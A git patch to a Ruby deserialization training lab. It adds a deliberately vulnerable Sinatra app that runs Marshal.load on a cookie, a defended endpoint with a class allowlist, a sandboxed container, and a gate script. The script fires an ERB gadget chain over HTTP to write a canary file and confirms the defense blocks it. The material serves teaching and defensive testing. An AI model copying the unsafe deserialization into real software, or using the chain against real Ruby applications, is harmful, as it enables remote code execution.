From 21ecc0eece13c5ad4d1a50c3d2a19b261c69da0e Mon Sep 17 00:00:00 2001 From: CarterPerez-dev Date: Sun, 26 Jul 2026 10:17:23 -0400 Subject: [PATCH] feat(rube): M5 vulnerable target - end-to-end RCE over HTTP, with the defense beside it Sinatra on webrick in a container, storing session state as a base64 Marshal blob in a cookie. Three endpoints: /render deserializes and compiles the session template, /render/safe inspects the stream first, /canary reports execution. Runs read-only, unprivileged, with a 1MB noexec tmpfs, on a high configurable host port. Gate proves three things and the third is what stops the defense being a brick: PASS HTTP request achieved code execution through Marshal.load PASS defended endpoint rejected the identical payload PASS defended endpoint still serves a legitimate session Two findings that change the defensive design. Sink tags do not catch this chain. The working payload produces ZERO sink-tag hits. ERB defines no marshal_load, so it serializes as a plain object with instance variables and carries no u, U or d tag. The defended endpoint rejected it on the class allowlist, and an application that allowlisted ERB as a legitimate template class would have passed it through untouched. A gadget does not need a marshal_load hook, it needs an object whose ivars the application later feeds to a dangerous method. The dangerous call site lives in the application, not in the serialized class. Any policy treating absence of sink tags as safe is defeated by this exact public payload. A legitimately initialized ERB cannot be serialized at all. @_init holds self.class.singleton_class and Marshal raises TypeError: singleton class can't be dumped. So the guard is not a flag an attacker might satisfy, it is anchored to a value the serializer physically cannot reproduce. Any ERB an attacker can serialize necessarily lacks a valid @_init. The generalized pattern for learn/: do not validate the untrusted object, anchor trust to something unreachable through the channel. Also fixes a gate that skipped a control silently. The benign-session check produced no output because POST with no body returns WEBrick LengthRequired, and the script treated an empty result as nothing to test rather than as a failure. It now fails loudly. 70 tests, 151 assertions, 0 failures. Target app excluded from the gem manifest, verified at 0 files. --- .../deserialization-gadget-lab/justfile | 5 +- .../scripts/target-gate.sh | 144 ++++++++++++++++++ .../target/Dockerfile | 20 +++ .../deserialization-gadget-lab/target/app.rb | 112 ++++++++++++++ .../target/config.ru | 6 + 5 files changed, 286 insertions(+), 1 deletion(-) create mode 100755 PROJECTS/beginner/deserialization-gadget-lab/scripts/target-gate.sh create mode 100644 PROJECTS/beginner/deserialization-gadget-lab/target/Dockerfile create mode 100644 PROJECTS/beginner/deserialization-gadget-lab/target/app.rb create mode 100644 PROJECTS/beginner/deserialization-gadget-lab/target/config.ru diff --git a/PROJECTS/beginner/deserialization-gadget-lab/justfile b/PROJECTS/beginner/deserialization-gadget-lab/justfile index 24d5108a..4e457deb 100644 --- a/PROJECTS/beginner/deserialization-gadget-lab/justfile +++ b/PROJECTS/beginner/deserialization-gadget-lab/justfile @@ -36,7 +36,10 @@ matrix: exploit: @bash scripts/exploit-gate.sh -gate: check matrix exploit +target: + @bash scripts/target-gate.sh + +gate: check matrix exploit target build: {{run}} sh -c "gem build --strict rube.gemspec" diff --git a/PROJECTS/beginner/deserialization-gadget-lab/scripts/target-gate.sh b/PROJECTS/beginner/deserialization-gadget-lab/scripts/target-gate.sh new file mode 100755 index 00000000..ad3f0f85 --- /dev/null +++ b/PROJECTS/beginner/deserialization-gadget-lab/scripts/target-gate.sh @@ -0,0 +1,144 @@ +#!/usr/bin/env bash +# ©AngelaMos | 2026 +# target-gate.sh + +set -uo pipefail + +HERE="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)" + +IMAGE="rube-target:local" +CONTAINER="rube-target-gate" +PORT="${RUBE_TARGET_PORT:-47823}" +BASE="http://127.0.0.1:${PORT}" +CANARY_MARKER="fired" + +cleanup() { + docker rm -f "${CONTAINER}" >/dev/null 2>&1 || true +} +trap cleanup EXIT + +echo "building target image" +docker build -q -f "${HERE}/target/Dockerfile" -t "${IMAGE}" "${HERE}" >/dev/null || { + echo "FAIL image build" + exit 1 +} + +cleanup +docker run -d --name "${CONTAINER}" \ + --network bridge \ + --read-only \ + --tmpfs /tmp:rw,noexec,nosuid,size=1m \ + -p "127.0.0.1:${PORT}:4567" \ + "${IMAGE}" >/dev/null + +for _ in $(seq 1 40); do + curl -sf "${BASE}/" >/dev/null 2>&1 && break + sleep 0.5 +done + +if ! curl -sf "${BASE}/" >/dev/null 2>&1; then + echo "FAIL target never became reachable on ${PORT}" + docker logs "${CONTAINER}" 2>&1 | tail -20 + exit 1 +fi + +echo +curl -s "${BASE}/" | head -3 +echo + +payload="$(docker run --rm --network none -v "${HERE}/lib:/app/lib:ro" -w /app ruby:4.0-slim \ + ruby -Ilib -e ' +require "rube" +require "base64" +chain = Rube::Chains::ErbDefMethod.canary("/tmp/rube-canary", "fired") +state = { user: "attacker", template: chain.generate } +print Base64.strict_encode64(Marshal.dump(state)) +')" + +if [[ -z "${payload}" ]]; then + echo "FAIL payload generation produced nothing" + exit 1 +fi + +failures=0 + +before="$(curl -s "${BASE}/canary")" +vulnerable_body="$(curl -s --cookie "session_state=${payload}" "${BASE}/render")" +after="$(curl -s "${BASE}/canary")" + +echo " vulnerable endpoint : ${vulnerable_body}" +echo " canary before/after : ${before} -> ${after}" + +if [[ "${after}" == "${CANARY_MARKER}" && "${before}" != "${CANARY_MARKER}" ]]; then + echo " PASS HTTP request achieved code execution through Marshal.load" +else + echo " FAIL payload did not execute over HTTP" + failures=$((failures + 1)) +fi + +docker exec "${CONTAINER}" rm -f /tmp/rube-canary >/dev/null 2>&1 || true + +reset="$(curl -s "${BASE}/canary")" +safe_body="$(curl -s --cookie "session_state=${payload}" "${BASE}/render/safe")" +safe_after="$(curl -s "${BASE}/canary")" + +echo +echo " defended endpoint : ${safe_body}" +echo " canary before/after : ${reset} -> ${safe_after}" + +if [[ "${safe_after}" != "${CANARY_MARKER}" && "${safe_body}" == rejected* ]]; then + echo " PASS defended endpoint rejected the identical payload" +else + echo " FAIL defended endpoint did not reject the payload" + failures=$((failures + 1)) +fi + +jar="$(mktemp)" +curl -s -X POST "${BASE}/session" -d "" -c "${jar}" >/dev/null +benign="$(awk '$6 == "session_state" {print $7}' "${jar}")" +rm -f "${jar}" + +echo +if [[ -z "${benign}" ]]; then + echo " FAIL could not obtain a benign session, the control did not run" + failures=$((failures + 1)) +else + benign_body="$(curl -s --cookie "session_state=${benign}" "${BASE}/render/safe")" + echo " benign on defended : ${benign_body}" + if [[ "${benign_body}" == rejected* ]]; then + echo " FAIL defended endpoint rejects legitimate sessions, it is not a filter" + failures=$((failures + 1)) + else + echo " PASS defended endpoint still serves a legitimate session" + fi +fi + +echo +sinks="$(docker run --rm --network none -v "${HERE}/lib:/app/lib:ro" -w /app ruby:4.0-slim \ + ruby -Ilib -e ' +require "rube" +require "base64" +chain = Rube::Chains::ErbDefMethod.canary("/tmp/rube-canary", "fired") +blob = Marshal.dump({ user: "attacker", template: chain.generate }) +result = Rube::Marshal::Parser.new(blob).parse +print result.sinks.length +')" + +echo " sink-tag hits on the working payload : ${sinks}" +if [[ "${sinks}" == "0" ]]; then + echo " NOTE sink detection alone does NOT catch this chain, only the class" + echo " allowlist does. ERB defines no marshal_load, so it serializes as" + echo " a plain object and carries no sink tag." +else + echo " FAIL expected the ERB chain to carry no sink tag, got ${sinks}" + failures=$((failures + 1)) +fi + +echo +if [[ ${failures} -eq 0 ]]; then + echo "GATE PASSED" + exit 0 +fi + +echo "GATE FAILED (${failures})" +exit 1 diff --git a/PROJECTS/beginner/deserialization-gadget-lab/target/Dockerfile b/PROJECTS/beginner/deserialization-gadget-lab/target/Dockerfile new file mode 100644 index 00000000..42d71d80 --- /dev/null +++ b/PROJECTS/beginner/deserialization-gadget-lab/target/Dockerfile @@ -0,0 +1,20 @@ +# ©AngelaMos | 2026 +# Dockerfile + +FROM ruby:4.0.2-slim + +RUN gem install --no-document sinatra rackup webrick + +WORKDIR /app + +COPY lib /app/lib +COPY target/app.rb /app/target/app.rb +COPY target/config.ru /app/config.ru + +ENV RUBYOPT="-I/app/lib" + +EXPOSE 4567 + +USER nobody + +CMD ["rackup", "--server", "webrick", "--host", "0.0.0.0", "--port", "4567"] diff --git a/PROJECTS/beginner/deserialization-gadget-lab/target/app.rb b/PROJECTS/beginner/deserialization-gadget-lab/target/app.rb new file mode 100644 index 00000000..95ca7696 --- /dev/null +++ b/PROJECTS/beginner/deserialization-gadget-lab/target/app.rb @@ -0,0 +1,112 @@ +# ©AngelaMos | 2026 +# app.rb + +require "sinatra/base" +require "base64" +require "erb" +require "rube" + +module Rube + module Target + COOKIE_NAME = "session_state" + CANARY_PATH = "/tmp/rube-canary" + + STATUS_OK = 200 + STATUS_BAD_REQUEST = 400 + + CONTENT_TYPE = "text/plain" + + ALLOWED_CLASSES = %w[Hash String Symbol Integer Array].freeze + BENIGN_TEMPLATE = "hello" + + REJECTED_SINK = "rejected: payload reaches %s#%s before any allowlist can run" + REJECTED_CLASS = "rejected: payload references %s" + RENDERED = "rendered template for %s" + NO_SESSION = "no session cookie" + MALFORMED = "rejected: malformed stream (%s)" + + class App < Sinatra::Base + set :host_authorization, permitted_hosts: [] + + get "/" do + content_type CONTENT_TYPE + [ + "rube target", + "erb #{Gem::Specification.find_all_by_name('erb').map(&:version).max}", + "ruby #{RUBY_VERSION}", + "", + "POST /session issue a benign session cookie", + "GET /render deserialize and compile the session template (VULNERABLE)", + "GET /render/safe inspect the stream before deserializing (DEFENDED)", + "GET /canary report whether the canary file exists" + ].join("\n") + end + + post "/session" do + state = { user: "guest", template: BENIGN_TEMPLATE } + response.set_cookie(COOKIE_NAME, value: encode(state), path: "/") + content_type CONTENT_TYPE + "session issued" + end + + get "/render" do + content_type CONTENT_TYPE + blob = decode(request.cookies[COOKIE_NAME]) + halt STATUS_BAD_REQUEST, NO_SESSION unless blob + + state = ::Marshal.load(blob) + compile(state) + end + + get "/render/safe" do + content_type CONTENT_TYPE + blob = decode(request.cookies[COOKIE_NAME]) + halt STATUS_BAD_REQUEST, NO_SESSION unless blob + + verdict = inspect_stream(blob) + halt STATUS_BAD_REQUEST, verdict if verdict + + compile(::Marshal.load(blob)) + end + + get "/canary" do + content_type CONTENT_TYPE + File.exist?(CANARY_PATH) ? File.read(CANARY_PATH) : "absent" + end + + private + + def encode(state) + Base64.strict_encode64(::Marshal.dump(state)) + end + + def decode(raw) + return nil unless raw + + Base64.strict_decode64(raw) + rescue ArgumentError + nil + end + + def compile(state) + template = state[:template] + template.def_method(Module.new, "render_it") if template.respond_to?(:def_method) + format(RENDERED, state[:user]) + end + + def inspect_stream(blob) + result = Rube::Marshal::Parser.new(blob).parse + + sink = result.sinks.first + return format(REJECTED_SINK, sink.class_name, sink.sink_method) if sink + + unknown = result.class_names.reject { |name| ALLOWED_CLASSES.include?(name) } + return format(REJECTED_CLASS, unknown.join(", ")) unless unknown.empty? + + nil + rescue Rube::Marshal::StreamError => e + format(MALFORMED, e.class.name.split("::").last) + end + end + end +end diff --git a/PROJECTS/beginner/deserialization-gadget-lab/target/config.ru b/PROJECTS/beginner/deserialization-gadget-lab/target/config.ru new file mode 100644 index 00000000..ffc43b6f --- /dev/null +++ b/PROJECTS/beginner/deserialization-gadget-lab/target/config.ru @@ -0,0 +1,6 @@ +# ©AngelaMos | 2026 +# config.ru + +require_relative "target/app" + +run Rube::Target::App